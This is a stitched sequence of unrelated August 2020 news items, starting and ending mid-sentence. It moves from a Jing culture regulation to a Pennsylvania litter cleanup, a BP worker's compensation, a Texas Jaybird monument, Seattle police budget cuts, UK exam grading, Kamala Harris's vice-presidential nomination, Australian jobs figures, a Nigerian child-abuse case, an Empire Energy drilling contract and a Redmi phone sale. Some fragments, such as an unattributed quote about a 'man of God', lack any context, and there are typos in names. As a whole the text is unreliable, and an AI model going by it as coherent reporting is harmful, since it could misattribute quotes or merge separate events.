considerable number of students of Jing ethnic group. Colleges are encouraged to set up relevant courses to cultivate more talents to pass on the ethnic culture. The regulation will take effect on Nov. 1. As one of China's smallest minority groups, the Jing currently has a population of around 20,000 and mainly inhabits Fangchenggang City, Guangxi. Enditem Registration for Keep Pennsylvania Beautifuls Pick Up Pennsylvania fall program is open. Most communities have experienced an increase of visible litter lining their streets, parking lots, trails and waterways during the past few months under stay at home orders. The results of a pre-pandemic statewide study on litter, conducted by the Departments of Environmental Protection and Transportation and Keep Pennsylvania Beautiful, estimated 502 million pieces of litter on Pennsylvania roadways, most of it cigarette butts and plastic items. It is safe to say there is even more litter now. Among other things, this litter pollutes our environment and affects our quality of life. To prevent litter from ending up in our waterways, Keep Pennsylvania Beautiful is urging Pennsylvania residents to participate in Pick Up Pennsylvania, in support of the Ocean Conservancys International Coastal Cleanup. This annual event is an opportunity to improve neighborhoods by coordinating or participating in a litter cleanup. This years program runs from September 1 through November 30. During this period, registered events can get free trash bags, gloves, and safety vests provided by the Pennsylvania Department of Environmental Protection, PennDOT and the Ocean Conservancy, as supplies last. In addition to waterway cleanups, land-based cleanups are also eligible since a significant portion of waterway pollution originates on land. Individuals, families, neighbors, students, civic organizations and local governments are all invited to participate. Our spring cleanup program was cancelled due to the novel coronavirus (Covid-19), so your help is needed now more than ever. Though we cant gather in large groups, we can still make a shared and cooperative effort to improve our communities by picking up litter. While this seems like a small effort when faced with such grave challenges, it is something that everybody can do. Individuals, families or small groups can safely support our communities by picking up litter, said Shannon Reiter, president of Keep Pennsylvania Beautiful. The group suggests doing a cleanup either solo or with household family members and encourages adhering to the recommendations for social distancing. All that is needed is a trash bag, gloves and bright colored clothing, if you are cleaning up near a roadway. To host or join a cleanup event near you visit keeppabeautiful.org and choose Pick Up Pennsylvania. Questions can be answered by Michelle Dunn, Pick Up Pennsylvania Program coordinator, at 877-772-3673 ext. 113 or mdunn@keeppabeautiful.org. Current 2020 Pick Up Pennsylvania supporters include: Columbia Gas of Pennsylvania funded by the NiSource Charitable Foundation, Coca-Cola, The GIANT Company, Pennsylvania Waste Industries Association, Sheetz, Wawa, Weis Markets, Mahantango Enterprises, Pennsylvania Food Merchants Association, Wegmans Food Markets, Giant Eagle, Lancaster County Solid Waste Management Authority, Luminant, a subsidiary of Vistra Corporation and Republic Services. Those interested in becoming a Keep Pennsylvania Beautiful program supporter should contact Barb Christner at 724-836-4121 or bchristner@keeppabeautiful.org. A BP worker who was wrongly sacked after privately sharing a version of a Hitler parody video during pay negotiations has been awarded $200,000 in compensation. BP technician Scott Tracey, from Perth, was fired in 2018 after sharing a meme made by his wife in a private Facebook group of friends and colleagues that took a jab at the heated and protracted enterprise bargaining processes at the company. The parody video was based on a clip from the 2004 German movie Downfall showing a highly agitated Adolf Hitler in his final hours. BP technician Scott Tracey was fired in 2018 after sharing a meme among colleagues based on a clip of Adolf Hitler from the 2004 German movie Downfall (above, scene from film) The oil and gas giant alleged the parody video depicted the negotiating team as Nazis and breached the company's code of conduct. Mr Tracey claimed unfair dismissal, which the Fair Work Commission rejected in September last year, ruling the video inappropriate and offensive. But he won his job back on appeal after the full bench of the commission found it was satirical. BP then challenged that finding in the Federal Court, which was dismissed. Mr Tracey recommenced his position at the BP Kwinana oil refinery in south-west Perth in March. On Monday, he was awarded compensation for the time missed out of work. BP argued Mr Tracey should only be awarded about $150,000 with a further amount deducted as he could have found other work while his case was before the court. The company claimed the reduce sum, which is less than what he would have otherwise earned, reflects the misconduct on his behalf, even if the video did not warrant dismissal. However, the Fair Work Commission ruled the misconduct was only serious enough for Mr Tracey to miss out on the pay increase of a potential promotion. Mr Tracey recommenced his position at the BP Kwinana oil refinery in south-west Perth in March and on Monday was given over $200,000 in compensation for lost salary and super BP were ordered to pay $177,324.93 in lost salary and bonuses, less tax, and $24,069.99 in superannuation. Australian Workers Union West Australian secretary Brad Gandy, who represented Mr Tracey, said the union was pleased by the decision. However, he said 'it doesn't make up for the completely unnecessary drama and heartache Mr Tracey has been dragged through'. 'We hope this marks the end of a truly unedifying chapter for BP management,' Mr Gandy told the Sydney Morning Herald . 'To dig in and drag an honest worker through nearly two years of stress and uncertainty, all because a few stuffed shirts didn't get a joke, is poor corporate behaviour.' The Downfall meme format has been widely circulating on the internet for more than a decade, with users adding their own subtitles to a clip from the film, called Der Untergang in German. A BP spokesperson told Daily Mail Australia the company would be reviewing the decision. 'We remain committed to upholding our values and behaviours consistently across our company, including at offices, refineries, and retail sites,' he said. A Fort Bend man is determined to see a monument, which he calls "a direct slap and insult to African-Americans of Richmond and Fort Bend," removed but the city isn't making it easy for him. The monument reads, in part, Capable county government and their fellow citizens have reared this monument to their memory and as a promise to them that their principles shall be maintained for all time to come." It pays tribute to white supremacists H.H. Frost, L.E. Gibson and J.M. Shamblin, three members of a group called the Jaybirds that dedicated their time to overthrowing the Woodpecker Republican stronghold and denying Blacks the right to vote or run for office. But questions remain regarding who actually owns the statue that sits on the property near Richmond City Hall, according to the Houston Chronicle. If its abandoned, nobody owns it. Why cant I own it? Tre Davis said to the Chronicle. Richmond's City Manager Terri Vela said the monument's ownership has shifted over the years between Fort Bend County and Richmond City. But in a July letter to Davis, the city [of Richmond] said they have "constructive possession" over it and banned him or anyone associated with him from removing it. A Change.org petition to remove the monument, organized by Katy resident Taral Patel, has garnered almost 2,000 signatures and also led to the statue being covered and a historical plaque with community input being added. These men are not my heroes: Controversial Richmond statue covered following petition for removal "In the heart of Americas most diverse county, a monument honoring post-Confederate leaders is memorialized next to Richmond City Hall," Patel's petition says."This major public monument glorifies the values of the Jaybirds and white supremacy reflecting their support of the Confederacy, an insurgent movement against our country, which is an affront to all Americans." Patel wrote that the petition is to show city officials that there is strong support in Richmond, and elsewhere, to have the monument removed from their community. A survey will be available until Aug. 21 to determine what will become of the monument, a history spokesperson told KTRK. In the meantime, Davis told the Chronicle he will also be pushing ahead with his plans to have the statue removed. He said he would like to see it placed in the National Museum of African American History and Culture, the lynching museum in Alabama or the Bullock Texas State History Museum. (Newser) Seattle City Council voted to cut about $4 million from the police budget shortly before Police Chief Carmen Best announced her retirement on Monday. Best, the first Black woman in the city's top policing role, would've seen her annual pay drop from $294,000 to $275,000 under the new budget, though an earlier plan proposed a $100,000 reduction, per KING5. Best said she was "confident the department will make it through these difficult times" once she leaves her post on Sept. 2, per CNN. Mayor Jenny Durkan said the police chief was stepping aside in the hope of repairing a testy relationship between the department and council. Facing a $378 million shortfall in the city budget, council "appears to have a veto-proof majority in support of a 50% reduction in the police budget," per the New York Times, though Monday's 7-1 vote didn't go that far. story continues below The $4 million cut appears to be a first step. The dissenting vote came from council member Kshama Sawant, who said the budget didn't do enough "to address the systemic racism of policing," per KING5. Some members of the public countered that more police were needed given vandalism during recent protests. Council President M. Lorena Gonzalez said there would be an $11 million reduction in the police budget over a year in "response to the calls for advocating for racial justice and investments in BIPOC communities," per CNN. She said 32 officers would be taken off patrol and two officers would be removed from the 911 call center. Training and travel expenses are also to be cut. Durkan can choose to approve or veto the budget. She previously asked police to present a plan for cutting up to 50% of spending next year. (Read more Seattle stories.) I ts not often that the fates of Boris Johnson and Nicola Sturgeon neatly intertwine. They have spent most of the Covid crisis on no-speaks, to the credit of neither. But the crisis that has swept Scotland at the mishandling of school-leaving grades and a model that has led to the schools in poorer areas being at the sharp end of statistical adjustments is galloping south at top speed. On Thursday Englands A-level results come out, also based on estimates after exams were cancelled. Johnson and Education Secretary Gavin Williamson will find themselves caught up in the same maelstrom. Groundhog Day will repeat next week when GCSE results come out. Having seen two offspring through the exam donkey derby and with another a year away from GCSEs, I feel for all involved. The centrality of exams in both systems means that when blunders happen over papers being wrongly set or anomalies in marking emerging, the stakes are very high indeed. Now add the justified worry of parents and pupils in 2020 that the pandemic will disrupt their journey into higher education or stymie their chances in a job market which will be precarious. The Government urgently needs to heed the warnings from the way that the exam regulators statistical model and school rankings have led to a penitent U-turn by Sturgeon and a commitment to upgrade the down-grades. Both nations approaches to replacing exams this year have similar drivers and comparable flaws. Postcode lottery: students protesting in Glasgow over the grades they were awarded / PA The main one is that they did not level with the public about the difficulty of creating a fair system to assess performance in systems geared to the useful brutality of exam grades. The trade-off between a qualifications set-up intended to mimic exam outcomes, just without the test-sitting bit, has come unstuck. A statistical review will most likely find that in a sizable number of cases, it has produced inequitable results. Alas, it is proving hard to understand the elliptical pronouncements of Williamson. The intention is often right, but the imprecision is alarming. I say this as someone who had education as a large part of my brief as a policy editor, with the additional spur of trying to persuade a heat-wilting 15-year-old to engage with the finer points of Shakespeare and simultaneous equations, rather than offer Advanced Netflix as a specialist subject. Seeing as both the Government and Ofqual seem to have vacated the role of public communication on the matter, I would recommend, if you are bemused, confused, worried or all three, to read the Higher Education Policy Institutes clear-eyed explanation of the strengths and weaknesses of the emergency grading model this year in a paper entitled What Students and Parents Need to Know. It is a shocker. Neither the regulator nor the Government levelled with exam-stressed families that schools would effectively have to rank pupils for a limited number of grades at each level. The HEPI is clear in the implication: These are not the grades this years students deserve, they are the grades which the Ofqual model says the school deserves on the basis of past students achievements. Teenagers are not fools they will draw the conclusion that this is all a bit of a swizz or at least unreliable enough to distrust Teenagers are not fools when it becomes clear that the result they receive had more to do with their schools record than their own exertions, they will draw the conclusion that this is all a bit of a swizz or at least unreliable enough to distrust. The oddest part of all this is that in a year when many of those taking GCSEs and A-levels are justified in fretting that the system will fail them, the scope for appeals was limited to schools making requests rather than individual pupils. Given the storm that is about to break, this will not withstand the ire of parents claiming that a slew of results have been calculated on questionable criteria. Yes, appeals clog up the system and they are sometimes a vanity exercise, rather than justified grievance. But we cannot create a system of overall fairness out of individual unfairnesses. Individual appeals will need to be restored. God help the poor university admissions officers contending with this jumble when they make their offer of places or deferrals, but a credentialing system, even in such trying times, cannot afford to forfeit a basic claim to even-handedness. Next year, we hope, matters will be different. Yet we are still in the dark as to how Johnsons focus on the return of schools is to work in practice. Talking to civil servants involved in planning for a feared rise in the infection rate in September, two main points emerge. One is that we are going to have to get used to living with degrees of risk until the pandemic wanes. So the no-schoolers are wrong to demand such an onerous list of safety checks that the routine of education, even with distancing measures, becomes impossible. They neglect the vital trade-offs which we need to get through the rest of the virus with the least harm to our social fabric, in which education plays a huge part. The rising generation will inherit so many of its burdens (to say nothing of paying the pensions of their former teachers and long-suffering parents). The other consideration is that the Government is now united about avoiding another sweeping lockdown. One senior health official confides that September anxiety is deepening about a likely rise in the rate of infection after the easing of the summer. It is possible that some of the new liberties we are enjoying will have to be sporadically curtailed, to allow schools leeway to reconvene. The results meltdown in this fevered August is a brutal reminder of why the calculated risk on a phased return to classrooms as soon as possible is still the right choice, from a menu of invidious options. Loading.... Its a hard sell to announce that resuming early mornings and swotting for exams are something to look forward to. But to do right by Gen Z, theres no better way through this unqualified muddle. Anne McElvoy is Senior Editor at The Economist The former media adviser of WA Treasurer Ben Wyatt has been found not guilty of indecent assault following a trial which saw his accuser labelled a liar by the defence. Stephen Kaless with his wife and legal team outside court on Monday. Credit:Nine News Perth Stephen Alexander Kaless resigned from his high-profile government position after being accused of touching a colleague on her bottom during an office Christmas function last year. During a trial this week, the court heard both Mr Kaless and the complainant had been drinking during the day at a work function before attending the Hearth Bar at the Ritz Carlton in Perth's CBD. It was there the woman said Mr Kaless put his hand up her dress and touched her bottom, which left her "a mess" and "in shock". By PTI NAGPUR: The Nagpur bench of Bombay High Court on Tuesday sought Maharashtra governments response to a petition filed by Delhi Universitys former professor G N Saibaba for emergency parole to attend the post funeral rituals of his late mother in Hyderabad. Saibaba, who is serving life sentence in the Nagpur Central Prison for links with Maoists, lost his 74-year-old ailing mother on August 1, even as his lawyers were seeking to arrange a video conference between the two. Last week, the prison authorities rejected Saibabas application for parole to attend the last rites of his mother. He then approached the high court through his advocate Mihir Desai, seeking to be released on emergency parole so that he could go to Hyderabad and attend the post funeral rituals of his mother. On Tuesday, special public prosecutor P K Sathianathan sought time from the court to respond to the plea. A division bench of Justices A S Chandurkar and A B Borkar issued a notice to the state government and directed it to respond to the plea by August 18. Saibaba earlier also sought parole from the prison authorities to meet his mother, who was suffering from cancer, but it was rejected. The former professor, 51, who is wheelchair-bound with over 90 per cent physical disabilities, had also filed a bail plea before the high court's Nagpur bench on the ground that his mother was unwell and his own health was deteriorating. The high court rejected the bail plea on July 28. In March 2017, a sessions court in Maharashtras Gadchiroli district convicted Saibaba and four others, including a journalist and a student of the Jawaharlal Nehru University (JNU),for alleged Maoist links and indulging in activities amounting to "waging war against the country". The court had held Saibaba and the other guilty under various provisions of the stringent Unlawful Activities Prevention Act (UAPA) and the Indian Penal Code (IPC). Since his conviction, Saibaba has been lodged in the Nagpur Central Prison. They said he had a weapon? He ran toward him? said the sister, who spoke on the condition of anonymity, because she is concerned about the sensitivity of the case. This is crazy. He is a man of God. He would not have a weapon, for sure. His weapon is the word of God. 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(FILE PHOTO: Reuters) SINGAPORE Li Shengwu, nephew of Prime Minister Lee Hsien Loong, has decided to pay a $15,000 fine imposed by the High Court in June for scandalising contempt of court. However, in a Facebook post on Tuesday (11 August), the grandson of Lee Kuan Yew insisted that he does not admit guilt, and has never denied what he wrote to his friends in a private Facebook post in 2017 that the Singapore Attorney-Generals Chambers (AGC) took issue with. I disagree that my words were illegal. Moreover, civilised countries should not fine or jail their citizens for private comments on the court system, he wrote on Tuesday. It is the latest chapter in the long-running Lee saga, which first erupted in June 2017 when PM Lees younger siblings Hsien Yang and Wei Ling went public with their dispute over the fate of the old family home at 38 Oxley Road, accusing their brother of abuse of power. Shengwu is the eldest son of Hsien Yang. Paying fine for peace and quiet Li, 34, said that he decided to pay the fine in order to buy some peace and quiet, adding that it avoids giving the Singapore government an easy excuse to attack me and my family. He maintains that the true scandal amid this incident is the misuse of state resources to repress private speech. In the course of this three-year prosecution, the Singapore AGC has written thousands of pages of legal documents, suppressed parts of my defence affidavit, and demanded that I reveal to them all of my friends on Facebook, he wrote. Back in January, I decided that I would not dignify the governments prosecution by continuing to respond. Even without my participation, it took six more months to arrive at a verdict, long enough for the government to mishandle a pandemic and hold an election. Comments made in relation to family feud In July 2017, Li an assistant professor of economics at Harvard University stated in a Facebook post that Singapore had a pliant court system and that the Singapore government was "very litigious, prompting the AGC to begin an inquiry over possible contempt of court. Story continues The comments were made in relation to the Lee saga. During the court hearing in June - which Li declined to attend Justice Kannan Ramesh said that he was satisfied that AGC had proven the elements of the charge, that the post held the real risk of undermining public confidence in administration of justice and did not constitute fair criticism. AGC said the $15,000 fine was necessary to deter Li and like-minded offenders from making similar baseless allegations impugning the independence of the Singapore Judiciary. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Related stories: PM Lee's nephew Li Shengwu fined $15,000 for contempt of court AGC seeks $15,000 fine for Li Shengwu over private Facebook post, Li absent from court CLEVELAND, Ohio A 65-year-old man was beaten to death Monday outside a grocery store in the Ohio City neighborhood, police said. Donald Partridge of Cleveland died from blunt force trauma to his head, according to police reports. No arrests have been made in the case. The incident happened about 5:45 p.m. outside Lindas Market on Detroit Avenue and West 28th Street. Partridge walked out of the store when a man walked up next to him and punched him in the head, according to police. The blow knocked Partridge to the ground and rendered him unconscious, according to police. A witness reported seeing the assailant rummage through Partridges pockets before running away. An ambulance took Partridge to MetroHealth, where he died. The homicide was one of two Monday in Cleveland. The city has recorded 98 homicides so far in 2020, compared with 72 during at the same time last year. Read more from cleveland.com: Woman hanging out of car window dies in crash in Clevelands Glenville neighborhood Man whose parachute crashed into downtown Cleveland building told police he was ex-Marine vet, thrill seeker Man charged in shooting that killed man, injured another after argument at Cleveland Mr. Hero Euclid man charged with murder after girlfriends 18-month-old daughter dies of severe head injury Man dies in Maple Heights house fire, officials say Joe Biden, the presumptive Democratic nominee for president, has named Kamala Harris, who is of mixed Black and Indian heritage, as his pick for vice-president in a much anticipated announcement Tuesday that was described as historic and seismic by Democrats, including many ecstatic Indian Americas, and non-partisan observers. Biden announced his pick in a tweet late afternoon as speculation reached a feverish pitch on all leading TV channels and social media. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate, the former vice-president wrote on twitter. His campaign followed up with a more expansive explanation of the pick. Joe knows more about the importance of the Vice Presidency than just about anyone, and he is confident that Kamala Harris will be the best partner for him to finally get the country back on track, it said in a statement, and added, Kamala will be ready to tackle the work that is needed to heal our country on Day One of the Biden-Harris Administration. In her first public response to the announcement, Harris wrote on twitter:, shortly: @JoeBiden can unify the American people because hes spent his life fighting for us. And as president, hell build an America that lives up to our ideals. Im honored to join him as our partys nominee for Vice President, and do what it takes to make him our Commander-in-Chief. A win in November will make Harris the first female vice-president of the United States and set her up the presidency in 2024, at the end of Bidens first term, or 2028. Most vice-presidents have gone on to run for the top job themselves and win, with some exceptions such as Al Gore. President Donald Trump, who had earlier called Harris a fine choice if picked by Biden, felt differently and accorded the announcement the full Trump treatment. He slammed her as nasty and the meanest, the most horrible, most disrespectful for her grilling of Brett Kavanaugh at his senate confirmation hearing for the Supreme Court. His campaign called her phony. Harris was not a surprise pick as she had been on everyones shortlist of Bidens choices, which at some stage had 11 names. In recent days the former vice-president had been focussed on three Harris, former National Security Adviser Susan Rice and Congresswoman Karen Baas. Some days ago, Biden may have tipped his hand inadvertently when notes he held during a press interaction showed several check-marks against her name. The 55-year-old first time senator from California is now the first American of Indian and Asian descent to run for vice-president. She is also the first African American of a major party and only the third woman yet to run for that office, after Democrat Geraldine Ferraro and Republican Sarah Palin. The US hasnt had a female vice-president, or president, yet. Harriss mother Shyamala Gopalan (Harris by marriage) came from Chennai. She was a cancer researcher, who raised Harris and the younger daughter Maya Harris, as a single-mother mostly after early separation from Donald Harris, who had come to the US from Jamaica. Gopalan passed away in 2009. Indian Americans were ecstatic. Ramesh Kapur, a veteran Democrat who hosted a fundraiser for Harris at his home in Boston in 2016 during her senate run, said he believed the Tuesday announcement was the start of a journey. Its the beginning of her becoming the first Indian American president this is a journey. Moment of great pride for the Indian American community, said Shekar Narasimhan, a top Democratic strategist and fundraiser. Its a first in so many ways and will help Joe Biden win the presidency which is the first priority. A seismic shift occurred today and its ramifications will be felt for many decades. Harris was friends with Bidens elder son Beau Biden, who died of brain cancer. But her links to the family were said to have suffered a major blow after she attacked the former vice-presidents record on racism at one of the Democratic primaries. Biden is reported to have been hurt by Harriss attacks. But Biden made clear in recent days that he does not hold grudges as he considered Harris along with a long list of 10 other women for his vice-president pick. The Trump re-election campaign picked on that debate exchange to attack Harris. Not long ago, Kamala Harris called Joe Biden a racist and asked for an apology she never received, Katrina Pierson, a Trump 2020 senior advisor, said in a statement, adding, Clearly, Phony Kamala will abandon her own morals, as well as try to bury her record as a prosecutor, in order to appease the anti-police extremists controlling the Democrat Party. Harris became the first Indian American woman to run for US president ever from either party in 2019. The first from the tiny minority community of 4 million was Bobby Jindal, the Republican governor of Louisiana, who didnt last the primaries that were eventually won by President Trump in 2016. Harris is also the first Indian American Democrat ale or female to try for the job; she failed also.. Harris was only the second African American woman of a major political party to run for the presidency. Shirley Chisholm, also a Democrat, was the first, making an unsuccessful bid in 1972. The list thus far, however, has been dominated by men, which includes, most famously, Barack Obama who went on to win two terms. Also, Jesse Jackson, who ran twice, unsuccessfully. Harris addressed her mixed heritage in her autobiography released 2010, The Truth We hold: An American journey. Growing up, her mother and her relatives instilled pride in our South Asian roots. Our classical Indian names harked back to our Indian heritage and we were raised with a strong awareness of and appreciation for India culture. All my mothers words of affection or frustration came out in her mother tongue which seems fitting to me, since the purity of those emotions is what I associated with my mother most of all. She also wrote, My mother understood very well that she was raising two black daughters. She knew that her adopted homeland would see Maya and me as black girls. and she was determined to make sure we would grow into confident, proud black women. Harris was sworn in as a United States Senator from California in 2017, only the second African-American woman and first South Asian-American senator in history. She served on the Homeland Security and Governmental Affairs Committee, the Select Committee on Intelligence, the Committee on the Judiciary, and the Committee on the Budget. And quickly earned a reputation for her hard-nosed prosecutorial manner of questioning of witnesses at hearings. Her website says she has spent her entire life fighting for justice, as a passion that was first inspired by her mother, Shyamala, an Indian-American immigrant, activist, and breast cancer researcher. Harris grew up in Oakland. And after earning an undergraduate degree from Howard University in Washington DC, and a law degree from the University of California, Hastings, she began a career in law in the Alameda County District Attorneys Office. She became the district attorney of San Francisco in 2003. And after two terms as district attorney, she was elected Californias attorney general. (thats how she met Beau Biden, who was attorney general of Delaware). Harris is married to Doug Emhoff and is stepmother to Ella and Cole Emhoff. Public service job numbers have increased and pushed up government debt as the coronavirus crisis has decimated Australia's private-sector workforce. Australian Bureau of Statistics figures released on Tuesday showed payroll jobs overall have plunged by 4.5 per cent since the start of the COVID-19 pandemic. The hardest hit hospitality sector has suffered a 17.9 per cent jobs plummet since mid-March, while arts and recreation has dived by 15.1 per cent. Job numbers in the public service have increased even as Australia's overall labour market has shrunk, new data showed. Pictured is an Australia Post recruitment ad Since the start of the COVID-19 pandemic, payroll job overall have plunged by 4.5 per cent. Hospitality jobs in food and accommodation plummeted by an even more dramatic 17.9 per cent as arts and recreational services dived by 15.1 per cent. Pictured is an April Centrelink queue in Melbourne Between March 14 and July 25, however, the number of public service jobs, classified as public administration and safety, rose by 1.7 per cent, the ABS figures revealed. Unemployment during June amid COVID-19 Australia's unemployment rate climbed from a 19-year high of 7.1 per cent in May to 7.4 per cent in June - the highest since November 1998 Number without work climbed from 923,000 to a record-high 992,300 Close to a million people unemployed for the first time ever - surpassing 960,200 record set in December 1992 Unemployment increased even though 210,800 more people were employed as COVID-19 shutdowns eased That was because the participation rate increased from 62.7 per cent to 64 per cent as more people looked for work Source: Australian Bureau of Statistics labour force data for June Advertisement The category includes law-enforcement officers and those employed within the court and prison system. Apart from taxpayer-funded public servants, only workers in the electricity, gas and sewage sectors saw employment growth through the lockdowns, with their numbers increasing 0.8 per cent. Mining rose by a small 0.2 per cent as China continued to buy Australian iron ore, used to make steel. The numbers were released three weeks after Treasury's Economic and Fiscal Update predicted gross government debt would reach a record $852billion by the end of this financial year. Prime Minister Scott Morrison's government has already spent $164.1billion on stimulus measures as the coronavirus business shutdowns pushed the Australian economy into recession for the first time in 29 years. The Reserve Bank of Australia is expecting the national unemployment rate, now at a 22-year high of 7.4 per cent, to reach ten per cent by the end of 2020 - a level unseen since April 1994. As recently as May, the central bank was forecasting a nine per cent jobless rate peak but the Stage 4 lockdowns in Melbourne have changed that. Even before the lockdowns, Victoria was already the worst-affected state with its payroll numbers in four months plunging by 6.7 per cent - a level well above the national average of 4.5 per cent. Across all industries, wages dived by 4.8 per cent between March and July however mining, the highest-paid sector, saw an even sharper 19.9 per cent plunge. Between March 14 and July 25, however, the number of public service jobs, classified as public administration and safety, rose by 1.7 per cent, the Australian Bureau of Statistics has revealed. Pictured is a Department of Finance recruitment ad A horrendous case of child abuse has just been uncovered in Kebbi state, Nigeria, of a 10 year-old boy tethered in a pen with domestic animals for two years and who only survived by eating the food remnants left by the animals. The abuse has been ranked as arguably the worst in Nigeria, a possible horror candidate in the Guinness Book of Records. The boys story was shared on Twitter Monday night by Manir Jega, with video clips and photos that will rend the heart. It was the story of how a supposed father and two wives gave the mother of all bestial treatment to a young boy, who lost his mother in the polygamous home. The boy was eight years-old when he was thrown into the animal pen by his father. When he was found two years after, he had only a skeletal frame, drained of all the attributes of kids his age. Jega wrote: This is a story of a boy called Jibril Aliyu, who hails from Badariya Area of Birnin Kebbi, Kebbi State. He was chained alongside animals by his 2 stepmother for 2 years. His mother died 2 years ago. He was denied shelter, clothing, food, not to talk of health care. He was maltreated by these same people like an animal to the extent that he was feeding on the remnant food of the animals he was tied with and even ate his faeces, until he was rescued by some Human Right Activist. As a result of monstrous and nefarious treatment he was subjected to, he entirely lost his senses and behaves exactly like an animal. What is most surprising is the fact that his father was living in the same house with them while he undergoes this inhumane and savagely cruel treatment. His 2 evil step mothers, together with his father are currently in police custody. While the 10 year old Jibril is undergoing treatment and rehabilitation at the Federal Medical Center Birnin Kebbi. What happened to Jibril is the highest level of barbarity and extreme cruelty. I therefore call on the Kebbi State Government to ensure that the culprits face the full wrath of the law. I also call on the good people of Kebbi State and beyond to riseup en mass until justice prevails for Jibril I pray that the villainous culprits will pay dearly for their atrocity! Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Execution of Rig Services Contract Sydney, Aug 11, 2020 AEST (ABN Newswire) - Empire Energy Group Limited ( ASX:EEG ) ( OTCMKTS:EEGUF ) is pleased to announce that it has executed a Rig Services Contract with Schlumberger for the drilling of the Carpentaria-1 well in EP187 for spudding in the coming weeks.Highlights include:- Expected mid-September 2020 spud date for the vertical Carpentaria-1 Beetaloo Sub-basin well, with civil works in preparation for drilling to start this month- Carpentaria-1 will further appraise Empire's EP187 shale gas and liquids prospectivity- Schlumberger Land Rigs ("SLR") 183 rig has been contracted to drill Carpentaria-1- The SLR 183 rig has been selected following a rigorous tender process- Schlumberger Land Rigs has more than 50 years of international drilling experience, employing more than 2,600 people globally with a fleet of drilling and workover rigsExecution of Rig Services ContractFollowing detailed commercial and technical due diligence of suitable drilling rigs in Australia and a competitive tender process, Empire has selected and engaged the Schlumberger Land Rigs 183 rig to drill, case, and suspend the Carpentaria-1 well in Northern Territory permit EP187. Of the candidate list, Rig 183 was determined to be the most commercially efficient to operate and mobilise with a strong track record of recent performance drilling similar wells onshore Australia and an experienced crew.The vertical Carpentaria-1 well will be drilled to a planned depth of ~2,900 metres to allow Empire's technical team to fully evaluate the targeted Velkerri Shale and Kyalla Shale. The well's design allows for future re-entry, fracture stimulation and flow testing, which is expected to commence after the coming northern Australian wet season. The drilling and testing of the vertical Carpentara-1 well is the precursor to a planned multi-staged fracture stimulated and tested horizontal section which may be drilled from the same wellbore.Comments from Managing Director Alex Underwood: The execution of the drilling contract with Schlumberger represents a key milestone as we unlock the world-class potential of our Northern Territory shale oil and gas resource. Schlumberger is one of the world's leading oilfield services providers with the global reach, technological know-how and professional approach required to execute our upcoming drilling program safely and successfully. Empire will be only the second company to drill a well in the Northern Territory's onshore Beetaloo Basin since the lifting of the moratorium in 2018 (after Origin Energy which recently drilled Kyalla 117). This is a testament to the hard work of our team and the relationships we have built with key stakeholders across the Northern Territory. We intend to be a long-term contributor to the Northern Territory economy and to that end I am pleased that we have contracted with local businesses for key elements of the program including the upcoming civil construction works. We look forward to demonstrating the potential of our properties as we progress our work programs.The objectives of the well are as follows:- To assess and prove the depth and thickness of the productive target shales (Kyalla and Velkerri) in Empire's EP187 permit;- To understand rock properties, hydrocarbon content, formation permeability and reservoir pressure as they relate to the ability of the shales to produce;- To gather data to be used for hydraulic stimulation planning and execution;- To 'high-grade' the target shales, for vertical hydraulic stimulation and testing and future horizontal well placement and extended production testing planning; and- To refine the seismic interpretation and further determine prospective hydrocarbon resource estimates.Empire has received all necessary approvals to commence preparatory civil works in the field. Initial work is expected to commence on or about 17 August 2020 with water bore drilling, Carpentaria-1 well pad site preparation and upgrading of the access to the well pad. As a Northern Territory focused company, Empire has solely contracted Northern Territory businesses and personnel to complete all civil works.After completion of the civil work program, Empire expects to spud Carpentaria-1 well in mid-September 2020.Empire has a COVID-19 management policy in place to mitigate the risk of COVID-19 transmission among its employees, contractors and local communities, and will adhere to the Northern Territory Chief Medical Officer's guidance and rulings throughout the drilling campaign.Set out below are some key attributes of the SLR rig 183 including:- Automated Cyber Base Drilling Rig. Rig 183 has a high level of automation with integrated control systems being responsible for the safety, reliability, and performance monitoring of drilling; and- 1200 Horsepower Telescopic Double with 400,000lbm Hook Load Capacity. Rig 183 has the capacity of drilling beyond the planned total depth for Carpentaria-1 with spare operational capability should it be required.To view figures, please visit:About Empire Energy Group Ltd Empire Energy (ASX:EEG) (OTCMKTS:EEGUF) holds over 14.5 million acres of highly prospective exploration tenements in the McArthur and Beetaloo Basins, Northern Territory. Work undertaken by the Company since 2010 demonstrates that the Eastern depositional Trough of the McArthur Basin, of which the Company holds 80% has very considerable conventional and unconventional hydrocarbon potential. The Beetaloo sub-Basin, in which Empire holds a substantial position, has independently assessed world class hydrocarbon volumes in place with a major ramp up in industry activity underway to appraise substantial discoveries already made by major Australian oil and gas operators. Empire Energy is an experienced conventional oil and gas producer with operations in the Appalachia region (New York and Pennsylvania). Empire has been successfully developing and producing oil and gas since 2006. Xiaomi is hosting yet another sale for the Redmi Note 9 Pro as well as the Note 9 Pro Max. Launched back in March, both the smartphones boast of a new square camera module and a punch-hole display at the front. The Note 9 Pro Max is a slightly beefed-up version offering a higher resolution camera and higher memory and RAM options. Both the smartphones will go on sale today at 12PM noon on Amazon India as a part of the Freedom Sale. The Note 9 Pro is priced at Rs 13,999 for the 4GB RAM + 64GB storage variant, and Rs 16,999 for the 6GB RAM + 128GB storage variant. As for the Redmi Note 9 Pro Max pricing, the 6GB + 64GB variant is priced at Rs 16,999, the 6GB + 128GB variant is priced at Rs 18,499 while 8GB + 128GB variant is priced at Rs 19,999. There are no-cost EMI options and a flat 5-percent cashback with Amazon Pay ICICI Bank Credit card for Prime members and 3-percent for non-Prime members. Airtel continues to offer double data benefits with Rs 298 and Rs 398 unlimited packs. Redmi Note 9 Pro The Redmi Note 9 Pro features a 6.67-inch full-HD+ LCD display with a punch-hole placed on top center and a quad-camera setup in a square module. Like the previous Redmi Note 8 series, it has Gorilla Glass on the front and back, but this time the cameras are also protected with the same. Other notable design features include a side-mounted fingerprint scanner similar to the Poco X2 and the Realme 6 series. The device is powered by the new 8nm-based Qualcomm Snapdragon 720G which should be more efficient and slightly more powerful than the 730G. The smartphone will be offered in two variants- 4GB RAM and 64GB of storage and 6GB RAM with 128GB storage. There is also a dedicated microSD card slot to expand the storage further. The square camera module is placed at the center and is raised from the main body. It includes a 48-megapixel main sensor next to an 8-megapixel ultrawide camera. There is also a 5-megapixel macro camera and a 2-megapixel depth sensor. At the 